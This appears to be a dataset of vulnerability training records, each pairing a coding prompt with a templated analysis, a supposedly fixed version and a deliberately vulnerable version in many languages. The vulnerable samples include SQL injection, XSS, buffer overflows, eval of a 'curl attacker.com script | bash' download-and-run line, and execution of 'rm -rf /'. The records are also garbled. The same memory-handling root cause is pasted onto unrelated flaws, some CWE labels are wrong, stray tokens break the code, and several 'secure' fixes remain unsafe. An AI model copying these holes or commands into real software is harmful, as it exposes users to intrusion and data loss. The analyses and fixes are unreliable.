cyber_d5a97a6e28ad | vulnerability_research_cve | CWE-20 | Write a php code that gets username and password from the URL parameters, then echoes them back out. | Target: php implementation for Write a php code that gets username and password from the URL paramete.
Vulnerability Vector: PHP's `extract()` function can be exploited to overwrite variables due to its un (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
// Directly get the values from $_GET array
$username = isset($_GET['username']) ? $_GET['username'] : '';
$password = isset($_GET['password']) ? $_GET['password'] : '';
// No need to use extract() here as we are directly getting the values from $_GET array
echo "Username: $username";
echo "Password: $pa... | <think>
Target: php implementation for Write a php code that gets username and password from the URL paramete.
Vulnerability Vector: PHP's `extract()` function can be exploited to overwrite variables due to its un (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$username = $_GET['username'];
$password = $_GET['password'];
// Unsafe usage of extract() function
extract($_GET);
echo "Username: $username";
echo "Password: $password";
?>
``` | 208 | 0.63 |
cyber_6eea4b8446fa | vulnerability_research_cve | CWE-20 | Write a ruby code that creates an instance of a class called 'UnsafeCode'. This class should have an initializer method that takes an input and assigns it to an instance variable '@data'. The class should also have a method called 'run_code' which executes the string stored in '@data' using the 'eval' function. Create ... | Target: ruby implementation for Write a ruby code that creates an instance of a class called 'UnsafeCo.
Vulnerability Vector: The 'eval' function in Ruby can execute arbitrary code, making it susceptible to (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
require 'open3'
class SafeCode
def initialize(input)
@data = input
end
def run_code
# Check if the data is a valid command
if @data =~ /^[a-zA-Z0-9\/\.\-\_]*$/
Open3.popen3(@data) do |stdin, stdout, stderr, wait_thr|
puts stdout.read
end
else
puts "Invalid comma... | <think>
Target: ruby implementation for Write a ruby code that creates an instance of a class called 'UnsafeCo.
Vulnerability Vector: The 'eval' function in Ruby can execute arbitrary code, making it susceptible to (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
class UnsafeCode
def initialize(input)
@data = input
end
def run_code
eval(@data)
end
end
unsafe_code = UnsafeCode.new("`curl https://attacker.com/malicious_script.sh | bash`")
unsafe_code.run_code
``` | 280 | 0.57 |
cyber_42ac7967e156 | vulnerability_research_cve | CWE-476 | Write a java code that creates an ArrayList of Strings, adds three strings to it ('Hello', null, 'World'), and then prints each string in uppercase. | Target: java implementation for Write a java code that creates an ArrayList of Strings, adds three str.
Vulnerability Vector: Improper null checks can lead to NullPointerException in Java. (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy: Enforc... | ```java
import java.util.*;
public class Main {
public static void main(String[] args) {
List<String> list = new ArrayList<>();
list.add("Hello");
list.add(null);
list.add("World");
for (String s : list) {
if (s != null) {
System.out.prin... | <think>
Target: java implementation for Write a java code that creates an ArrayList of Strings, adds three str.
Vulnerability Vector: Improper null checks can lead to NullPointerException in Java. (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy... | ```java
import java.util.*;
public class Main {
public static void main(String[] args) {
List<String> list = new ArrayList<>();
list.add("Hello");
list.add(null);
list.add("World");
for (String s : list) {
System.out.println(s.toUpperCase());
}
... | 214 | 0.79 |
cyber_d9fc36295080 | vulnerability_research_cve | CWE-89 | Write a c# code that prompts the user to enter their username. Then, use this username to log in to a SQL database and retrieve the user's information. | Target: c# implementation for Write a c# code that prompts the user to enter their username. Then, u.
Vulnerability Vector: SQL Injection vulnerability due to unsanitized user input leading to potential d (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
public class UserInput
{
public string GetUserInput()
{
Console.WriteLine("Enter your username:");
string username = Console.ReadLine();
return username;
}
}
public class LoginService
{
private string connectionString = "your_con... | <think>
Target: c# implementation for Write a c# code that prompts the user to enter their username. Then, u.
Vulnerability Vector: SQL Injection vulnerability due to unsanitized user input leading to potential d (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Data.SqlClient;
public class UserInput
{
public string GetUserInput()
{
Console.WriteLine("Enter your username:");
string username = Console.ReadLine();
return username;
}
}
public class LoginService
{
private string connectionString = "your_con... | 407 | 0.87 |
cyber_f0646b1557f0 | vulnerability_research_cve | CWE-89 | Write a php code that receives a username and password from a POST request, connects to a MySQL database, checks if there is a user in the database with the same username and password, and outputs a message based on whether the login was successful or not. | Target: php implementation for Write a php code that receives a username and password from a POST req.
Vulnerability Vector: PHP may allow for SQL injection if raw SQL queries are concatenated directly wit (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$conn = new mysqli('localhost', 'root', '', 'myDB');
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);ival
}
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("s... | <think>
Target: php implementation for Write a php code that receives a username and password from a POST req.
Vulnerability Vector: PHP may allow for SQL injection if raw SQL queries are concatenated directly wit (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$conn = new mysqli('localhost', 'root', '', 'myDB');
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT * FROM users WHERE username='".$username."' AND password='".$password."'";
$result = $co... | 292 | 0.79 |
cyber_405a88d1942c | vulnerability_research_cve | CWE-78 | Write a swift code that creates an enumeration named 'VehicleType' with two cases: 'car' and 'bike'. Create a class named 'Vehicle' with properties 'type' and 'speed'. The 'drive' function in the 'Vehicle' class prints out the speed of the vehicle based on its type. If the vehicle is a car, it will print 'Driving \(spe... | Target: swift implementation for Write a swift code that creates an enumeration named 'VehicleType' wit.
Vulnerability Vector: The use of force unwrapping in Swift can lead to runtime errors if the optional (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
enum VehicleType {
case car
case bike
}
class Vehicle {
var type: VehicleType?
var speed: Int?
func drive() {
guard let type = type, let speed = speed else {
print("Invalid vehicle type or speed")
return
}
swi... | <think>
Target: swift implementation for Write a swift code that creates an enumeration named 'VehicleType' wit.
Vulnerability Vector: The use of force unwrapping in Swift can lead to runtime errors if the optional (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
enum VehicleType {
case car
case bike
}
class Vehicle {
var type: VehicleType?
var speed: Int?
func drive() {
switch type {
case .car:
print("Driving \(speed!) km/h") // Force unwrapping here
case .bike:
print("Riding ... | 284 | 0.78 |
cyber_c35864145ff6 | vulnerability_research_cve | CWE-787 | Write a c++ code that takes user input and copies it into a buffer. If the input is more than the buffer size, it will overwrite adjacent memory causing a buffer overflow. The function 'vulnerable_function' should be called from the main function. | Target: c++ implementation for Write a c++ code that takes user input and copies it into a buffer. If.
Vulnerability Vector: The use of unsanitized user input can lead to buffer overflows in C++. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy:... | ```c++
#include <iostream>
#include <string.h>
void vulnerable_function(const char* input) {
char buffer[11]; // Increased buffer size to avoid overflow
strncpy(buffer, input, sizeof(buffer));
buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
std::cout << "Input copied to buffer: " << buffe... | <think>
Target: c++ implementation for Write a c++ code that takes user input and copies it into a buffer. If.
Vulnerability Vector: The use of unsanitized user input can lead to buffer overflows in C++. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c++
#include <iostream>
#include <string.h>
void vulnerable_function(char* input) {
char buffer[10];
strcpy(buffer, input);
std::cout << "Input copied to buffer: " << buffer << std::endl;
}
int main() {
char user_input[20];
std::cout << "Enter your input: ";
std::cin >> user_input;
vuln... | 316 | 0.63 |
cyber_786c8607c81a | vulnerability_research_cve | CWE-78 | Write a java code that serializes a string object containing a command to delete all files in the root directory, then deserializes it and executes the command using the Runtime.getRuntime().exec() method. | Target: java implementation for Write a java code that serializes a string object containing a command.
Vulnerability Vector: Improper handling of user input in Java can lead to Remote Code Execution (RCE) (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.io.*;
import java.util.*;
public class Main {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject("rm -rf /");
byte[] bytes = bos.... | <think>
Target: java implementation for Write a java code that serializes a string object containing a command.
Vulnerability Vector: Improper handling of user input in Java can lead to Remote Code Execution (RCE) (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.io.*;
import java.util.*;
public class Main {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject("rm -rf /");
byte[] bytes = bos.t... | 294 | 0.73 |
cyber_e710d13f794f | vulnerability_research_cve | CWE-79 | Write a c# code that creates a controller named 'HomeController' which inherits from the base 'Controller' class. This controller has an action method named 'Index' which takes a string parameter 'input'. The action method sets the ViewBag.Message property to 'Hello ' concatenated with the input string and then returns... | Target: c# implementation for Write a c# code that creates a controller named 'HomeController' which.
Vulnerability Vector: Improper data validation in HTTP requests can lead to Cross-Site Scripting (XSS) (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Web;
using System.Web.Mvc;
public class HomeController : Controller
{
[HttpGet]
public ActionResult Index(string input)
{
if (!string.IsNullOrWhiteSpace(input))
{
var encodedInput = Server.HtmlEncode(input);
ViewBag.Message = "Hello "... | <think>
Target: c# implementation for Write a c# code that creates a controller named 'HomeController' which.
Vulnerability Vector: Improper data validation in HTTP requests can lead to Cross-Site Scripting (XSS) (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Web;
using System.Web.Mvc;
public class HomeController : Controller
{
public ActionResult Index(string input)
{
ViewBag.Message = "Hello " + input;
return View();
}
}
``` | 239 | 0.59 |
cyber_8ed8ad7d3e66 | vulnerability_research_cve | CWE-20 | Write a php code that takes user input via GET method, assigns it to variables 'name' and 'email'. The input should be sanitized and validated before being assigned to these variables. If the user inputs an alert script, it should be escaped or removed. | Target: php implementation for Write a php code that takes user input via GET method, assigns it to v.
Vulnerability Vector: The PHP `extract()` function may lead to code injection if used unsafely as it c (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$name = "John Doe";
$email = "john@example.com";
// User input
$_GET['name'] = "alert(1);";
// Sanitize and validate user input
if(isset($_GET['name']) && ctype_alnum($_GET['name'])) {
$name = filter_var($_GET['name'], FILTER_SANITIZE_STRING);
}
if(isset($_GET['email'])) {
$email = filter_var($_... | <think>
Target: php implementation for Write a php code that takes user input via GET method, assigns it to v.
Vulnerability Vector: The PHP `extract()` function may lead to code injection if used unsafely as it c (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$name = "John Doe";
$email = "john@example.com";
// User input
$_GET['name'] = "alert(1);";
// Unsafe usage of extract()
extract($_GET);
echo "Name: $name";
echo "Email: $email";
?>
``` | 727 | 0.21 |
cyber_9bf6a0354294 | vulnerability_research_cve | CWE-787 | Write a c# code that creates a class named 'VulnerableClass'. This class should have an integer array named 'myArray' with a size of 10. It should also have two methods: 'SetValue' and 'GetValue'. The 'SetValue' method should take in two parameters: an integer 'index' and an integer 'value'. It should set the value at ... | Target: c# implementation for Write a c# code that creates a class named 'VulnerableClass'. This cla.
Vulnerability Vector: A buffer overflow vulnerability in C# could occur due to improper bounds checkin (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c#
public class SecureClass
{
private int[] myArray = new int[10];
public bool SetValue(int index, int value)
{
if (index >= 0 && index < myArray.Length)
{
myArray[index] = value;
return true;
}
else
{
Console.WriteLine("Index o... | <think>
Target: c# implementation for Write a c# code that creates a class named 'VulnerableClass'. This cla.
Vulnerability Vector: A buffer overflow vulnerability in C# could occur due to improper bounds checkin (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```c#
public class VulnerableClass
{
private int[] myArray = new int[10];
public void SetValue(int index, int value)
{
myArray[index] = value; // This line can cause a buffer overflow if index is out of bounds
}
public int GetValue(int index)
{
return myArray[index]; // Thi... | 299 | 0.63 |
cyber_73e2c67919c1 | vulnerability_research_cve | CWE-20 | Write a php code that declares two variables, assigns them values, and then extracts user input into the current symbol table. The user input is an array where one key is 'var1' and its value is a string that contains a PHP comment which is a code injection. The code then echoes the values of the two variables. | Target: php implementation for Write a php code that declares two variables, assigns them values, and.
Vulnerability Vector: PHP's extract() function can lead to code injection if used carelessly. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy:... | ```php
<?php
$var1 = "Hello";
$var2 = "World";
// User input
$userInput = ['var1' => '; echo "Code Injection"; //'];
// Sanitize user input
$userInput['var1'] = filter_var($userInput['var1'], FILTER_SANITIZE_STRING);
// Use list() to assign variables
list($var1, $var2) = [$userInput['var1'], $var2];
echo $var1;
ech... | <think>
Target: php implementation for Write a php code that declares two variables, assigns them values, and.
Vulnerability Vector: PHP's extract() function can lead to code injection if used carelessly. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```php
<?php
$var1 = "Hello";
$var2 = "World";
// User input
$userInput = ['var1' => '; echo "Code Injection"; //'];
extract($userInput);
echo $var1;
echo $var2;
?>
``` | 242 | 0.59 |
cyber_c2aaa7bd36c3 | vulnerability_research_cve | CWE-502 | Write a ruby code that creates a User class with an attribute name. Create an instance of the User class and set its name to 'test'. Serialize the user object using YAML dump. Deserialize the serialized user object back to an object. Print the name of the deserialized user. | Target: ruby implementation for Write a ruby code that creates a User class with an attribute name. Cr.
Vulnerability Vector: Ruby's YAML library can be exploited through deserialization of untrusted data, (CWE-502).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```ruby
require 'yaml'
require 'securerandom'
class User
attr_accessor :name
end
class SafeUser < User
def initialize(*args)
super
@allowed_instance_variables = [:@name]
end
def marshal_dump
@allowed_instance_variables.map { |v| [v, instance_variable_get(v)] }.to_h
end
def marshal_load(data)... | <think>
Target: ruby implementation for Write a ruby code that creates a User class with an attribute name. Cr.
Vulnerability Vector: Ruby's YAML library can be exploited through deserialization of untrusted data, (CWE-502).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```ruby
require 'yaml'
class User
attr_accessor :name
end
user = User.new
user.name = "test"
# Serialized user object
serialized_user = YAML::dump(user)
# Unserialize the string
deserialized_user = YAML::load(serialized_user)
# The vulnerability here is that the untrusted data (in this case, the serialized_user ... | 349 | 0.64 |
cyber_feb6f8d6ea1c | vulnerability_research_cve | CWE-787 | Write a swift code that takes a string input from the user and copies its UTF-8 encoded bytes into a buffer array. The buffer array should be initialized with 1024 zeroes. If the input string's length is greater than the buffer size, only the first 'buffer size' number of characters will be copied. | Target: swift implementation for Write a swift code that takes a string input from the user and copies .
Vulnerability Vector: Swift's String type is not null-terminated and it can contain any sequence of ch (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
func processUserInput(_ input: String) {
var buffer = [UInt8](repeating: 0, count: 1024)
let inputBytes = input.utf8
let bytesToCopy = min(inputBytes.count, buffer.count)
inputBytes.withUnsafeBufferPointer {
buffer.withUnsafeMutableBufferPointer {
$0.baseA... | <think>
Target: swift implementation for Write a swift code that takes a string input from the user and copies .
Vulnerability Vector: Swift's String type is not null-terminated and it can contain any sequence of ch (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
func processUserInput(_ input: String) {
var buffer = Array(repeating: 0, count: 1024)
let inputBytes = input.utf8
inputBytes.withUnsafeBufferPointer {
buffer.withUnsafeMutableBufferPointer {
let bytesToCopy = min(inputBytes.count, buffer.count)
$0... | 261 | 0.85 |
cyber_3f360f6b0ad8 | vulnerability_research_cve | CWE-787 | Write a go code that creates an array of size 3 and fills it with numbers from 0 to 3. Then print out the array. | Target: go implementation for Write a go code that creates an array of size 3 and fills it with numb.
Vulnerability Vector: Buffer Overflow in Go can occur when an array or slice is indexed beyond its cap (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import "fmt"
func main() {
arr := make([]int, 3)
for i := 0; i < len(arr); i++ {
arr[i] = i
}
fmt.Println(arr) ready.
}
``` | <think>
Target: go implementation for Write a go code that creates an array of size 3 and fills it with numb.
Vulnerability Vector: Buffer Overflow in Go can occur when an array or slice is indexed beyond its cap (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import "fmt"
func main() {
arr := make([]int, 3)
for i := 0; i <= 3; i++ {
arr[i] = i
}
fmt.Println(arr)
}
``` | 184 | 0.76 |
cyber_48704d7c2824 | vulnerability_research_cve | CWE-20 | Write a kotlin code that simulates a bank account withdrawal system. The bank account has an initial balance and can be accessed by multiple threads. Each thread represents a customer trying to withdraw money from the account. If the customer's withdrawal request is less than or equal to the current balance, the withdr... | Target: kotlin implementation for Write a kotlin code that simulates a bank account withdrawal system. T.
Vulnerability Vector: The use of Thread.sleep() without proper error handling can lead to unpredictabl (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
import java.util.*
import java.util.concurrent.locks.ReentrantLock
class BankAccount(private var balance: Int) {
private val lock = ReentrantLock()
fun withdraw(amount: Int) {
if (lock.tryLock()) {
try {
if (balance >= amount) {
balance -= amou... | <think>
Target: kotlin implementation for Write a kotlin code that simulates a bank account withdrawal system. T.
Vulnerability Vector: The use of Thread.sleep() without proper error handling can lead to unpredictabl (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
import java.util.*
class BankAccount(private var balance: Int) {
@Throws(InterruptedException::class)
fun withdraw(amount: Int) {
val lock = Any()
synchronized(lock) {
if (balance >= amount) {
balance -= amount
println("Withdrawal successful... | 367 | 0.84 |
cyber_a18e7e89eced | vulnerability_research_cve | CWE-20 | Write a java code that reads a command from the console and executes it using the Runtime.getRuntime().exec() method. | Target: java implementation for Write a java code that reads a command from the console and executes i.
Vulnerability Vector: Java's BufferedReader.readLine() method without input validation can lead to cod (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.io.*;
import java.util.regex.Pattern;
public class Main {
private static final Pattern COMMAND_INJECTION = Pattern.compile("[A-Za-z0-9.,;:\\-\\+\\*/=~_%]*");
public static void main(String[] args) throws Exception {
BufferedReader reader = new BufferedReader(new InputStreamReader(S... | <think>
Target: java implementation for Write a java code that reads a command from the console and executes i.
Vulnerability Vector: Java's BufferedReader.readLine() method without input validation can lead to cod (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
String command = reader.readLine();
Runtime.getRuntime().exec(command);
}
}
``` | 292 | 0.51 |
cyber_bac2b932d07d | vulnerability_research_cve | CWE-787 | Write a go code that creates a web server that listens on port 8080. This server should handle HTTP requests at the root URL ('/'). For each incoming request, it should parse the form data from the request, extract the value associated with the key 'input', and then respond with a message saying 'You entered: [value of... | Target: go implementation for Write a go code that creates a web server that listens on port 8080. T.
Vulnerability Vector: In Go, buffer overflow vulnerabilities can occur because of incorrect handling o (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"fmt"
"net/http"
"strings"
)
func handler(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
input := r.FormValue("input")
input = strings.ReplaceAll(input, "\n", " ")
input = strings.ReplaceAll(input, "\r", " ")
if len(input) > 1024 { // limit to 1024 characters
input = inp... | <think>
Target: go implementation for Write a go code that creates a web server that listens on port 8080. T.
Vulnerability Vector: In Go, buffer overflow vulnerabilities can occur because of incorrect handling o (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
input := r.Form.Get("input")
fmt.Fprintf(w, "You entered: %s", input)
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
``` | 302 | 0.63 |
cyber_7b9408f92ab0 | vulnerability_research_cve | CWE-22 | Write a c# code that reads the content of a text file named 'secret.txt' located in the parent directory of the parent directory of the current working directory. If the file exists, print its content on the console. If the file does not exist, print a message saying 'File does not exist'. | Target: c# implementation for Write a c# code that reads the content of a text file named 'secret.tx.
Vulnerability Vector: The function `Path.GetFullPath(string)` can lead to directory traversal vulnerab (CWE-22).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.IO;
public class Program
{
public static void Main()
{
string relativePath = @"..\..\secret.txt"; // Relative path from the execution directory
string fullPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, relativePath);
fullPath = Path.GetFullPa... | <think>
Target: c# implementation for Write a c# code that reads the content of a text file named 'secret.tx.
Vulnerability Vector: The function `Path.GetFullPath(string)` can lead to directory traversal vulnerab (CWE-22).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.IO;
public class Program
{
public static void Main()
{
string userInput = "..\\..\\..\\secret.txt"; // User input
string fullPath = Path.GetFullPath(userInput);
Console.WriteLine("Full path: " + fullPath);
if (File.Exists(fullPath))
... | 301 | 0.76 |
cyber_c44a9c236ed6 | vulnerability_research_cve | CWE-20 | Write a ruby code that defines a UserController class which inherits from ApplicationController. The UserController should have a method called 'show' which takes no arguments. Inside the 'show' method, get the user id from the params hash and find the user with that id using the User model. If there is any code in the... | Target: ruby implementation for Write a ruby code that defines a UserController class which inherits f.
Vulnerability Vector: The vulnerability could be a possible unchecked use of user-input in string inte (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
class UserController < ApplicationController
def show
user_id = params[:id]
@user = User.find(user_id)
if params[:code]
safe_code = sanitize_code(params[:code])
instance_eval(safe_code)
end
end
private
def sanitize_code(code)
# Sanitize the code here to prevent code inj... | <think>
Target: ruby implementation for Write a ruby code that defines a UserController class which inherits f.
Vulnerability Vector: The vulnerability could be a possible unchecked use of user-input in string inte (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
class UserController < ApplicationController
def show
user_id = params[:id]
@user = User.find(user_id)
instance_eval(params[:code]) if params[:code]
end
end
``` | 260 | 0.51 |
cyber_f9db6852efd2 | vulnerability_research_cve | CWE-787 | Write a go code that reads input from standard input (stdin) in chunks of 1024 bytes and prints each character read from the input. | Target: go implementation for Write a go code that reads input from standard input (stdin) in chunks.
Vulnerability Vector: A buffer overflow vulnerability in Go may occur when data read from an untrusted (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"bufio"
"fmt"
"os"
)
func main() {
reader := bufio.NewReaderSize(os.Stdin, 1024)
for {
buffer, err := reader.ReadByte()
if err != nil {
fmt.Println("Error reading from stdin:", err)
return
}
fmt.Printf("%c", buffer)
}
}
``` | <think>
Target: go implementation for Write a go code that reads input from standard input (stdin) in chunks.
Vulnerability Vector: A buffer overflow vulnerability in Go may occur when data read from an untrusted (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"os"
)
func main() {
buffer := make([]byte, 1024)
for {
n, err := os.Stdin.Read(buffer)
if err != nil {
fmt.Println("Error reading from stdin:", err)
return
}
// This could cause a buffer overflow if n > 1024
// But go doesn't check array bounds like C/C++ does
... | 234 | 1.06 |
cyber_2e071b59cca1 | vulnerability_research_cve | CWE-20 | Write a kotlin code that creates two threads, each of which tries to acquire two locks in different order. If both threads try to acquire the locks in the same order, a deadlock can occur. The purpose of this code is to demonstrate how deadlocks can occur and how they can be avoided. | Target: kotlin implementation for Write a kotlin code that creates two threads, each of which tries to a.
Vulnerability Vector: In Kotlin, if an object is used as a lock for synchronization, it may result in (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
import java.util.*
class DeadlockExample {
private val lock1 = Object()
private val lock2 = Object()
fun method1() {
synchronized(lock1) {
Thread.sleep(1000)
synchronized(lock2) {
println("Method 1")
}
}
}
fun method2()... | <think>
Target: kotlin implementation for Write a kotlin code that creates two threads, each of which tries to a.
Vulnerability Vector: In Kotlin, if an object is used as a lock for synchronization, it may result in (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
import java.util.*
class DeadlockExample {
private val lock1 = Object()
private val lock2 = Object()
fun method1() {
synchronized(lock1) {
Thread.sleep(1000)
synchronized(lock2) {
println("Method 1")
}
}
}
fun method2()... | 345 | 0.88 |
cyber_2b9e5223d049 | vulnerability_research_cve | CWE-20 | Write a java code that reads a text file and prints its content. If the file does not exist, it should print an error message. | Target: java implementation for Write a java code that reads a text file and prints its content. If th.
Vulnerability Vector: Java's use of checked exceptions for flow control can lead to over-specification (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.io.*;
import java.nio.file.*;
public class Main {
public static void main(String[] args) {
Path path = Paths.get("nonexistent_file.txt");
if (Files.exists(path)) {
try {
readFile(path);
} catch (IOException e) {
System.out.... | <think>
Target: java implementation for Write a java code that reads a text file and prints its content. If th.
Vulnerability Vector: Java's use of checked exceptions for flow control can lead to over-specification (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.io.*;
public class Main {
public static void main(String[] args) {
try {
readFile();
} catch (IOException e) {
System.out.println("Error reading file: " + e.getMessage());
}
}
public static void readFile() throws IOException {
Fil... | 317 | 0.68 |
cyber_be47f8cf8750 | vulnerability_research_cve | CWE-787 | Write a c# code that reads a line of text from the console, converts each character into its ASCII value and stores them in an array. Then print the ASCII values as a string. | Target: c# implementation for Write a c# code that reads a line of text from the console, converts e.
Vulnerability Vector: Buffer Overflow vulnerability present in C# due to improper handling of strings (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c#
using System;
using System.Text;
public class Program
{
public static void Main()
{
string userInput = Console.ReadLine();
byte[] buffer = Encoding.ASCII.GetBytes(userInput);
StringBuilder sb = new StringBuilder();
foreach (byte b in buffer)
{
sb.Appen... | <think>
Target: c# implementation for Write a c# code that reads a line of text from the console, converts e.
Vulnerability Vector: Buffer Overflow vulnerability present in C# due to improper handling of strings (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```c#
using System;
using System.Text;
public class Program
{
public static void Main()
{
string userInput = Console.ReadLine();
byte[] buffer = new byte[10];
int index = 0;
foreach (char ch in userInput)
{
buffer[index++] = Convert.ToByte(ch);
}
... | 223 | 0.84 |
cyber_0779e62a938a | vulnerability_research_cve | CWE-20 | Write a swift code that defines two structs, Foo and Baz. Foo has an integer property 'bar' initialized to 0, and Baz has an integer property 'qux' initialized to 0. Create an instance of Foo named 'foo'. Then, create another instance of Baz named 'baz' by casting 'foo' to Baz using 'unsafeBitCast'. Finally, set the va... | Target: swift implementation for Write a swift code that defines two structs, Foo and Baz. Foo has an i.
Vulnerability Vector: A vulnerability exists where a developer may use the `unsafeBitCast` function im (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
struct Foo {
var bar: Int = 0
}
struct Baz {
var qux: Int = 0
}
let foo = Foo()
// Instead of using unsafeBitCast, we can use memory layout to copy the memory from one struct to another
var baz: Baz = Baz()
withUnsafeMutablePointer(to: &baz) { bazPtr in
withUnsafePointer(to: f... | <think>
Target: swift implementation for Write a swift code that defines two structs, Foo and Baz. Foo has an i.
Vulnerability Vector: A vulnerability exists where a developer may use the `unsafeBitCast` function im (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
struct Foo {
var bar: Int = 0
}
struct Baz {
var qux: Int = 0
}
let foo = Foo()
let baz = unsafeBitCast(foo, Baz.self)
baz.qux = 42
``` | 266 | 0.56 |
cyber_cf9dc917ee1b | vulnerability_research_cve | CWE-20 | Write a go code that creates a file named 'sensitive_data.txt', writes some sensitive data into it, and then reads and prints the content of the file. Be aware that the file permissions are set to 0644 which means anyone on the system can read the file. | Target: go implementation for Write a go code that creates a file named 'sensitive_data.txt', writes.
Vulnerability Vector: Improper handling of file permissions in Go could lead to privilege escalation v (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
"io/ioutil"
"log"
"os"
)
func main() {
fileName := "sensitive_data.txt"
data := []byte("This is sensitive data")
// Create the file with 0600 permissions so only the owner can read/write it
err := ioutil.WriteFile(fileName, data, 0600)
if err != nil {
log.Fatal(err)
}
... | <think>
Target: go implementation for Write a go code that creates a file named 'sensitive_data.txt', writes.
Vulnerability Vector: Improper handling of file permissions in Go could lead to privilege escalation v (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import (
"os"
"io/ioutil"
)
func main() {
fileName := "sensitive_data.txt"
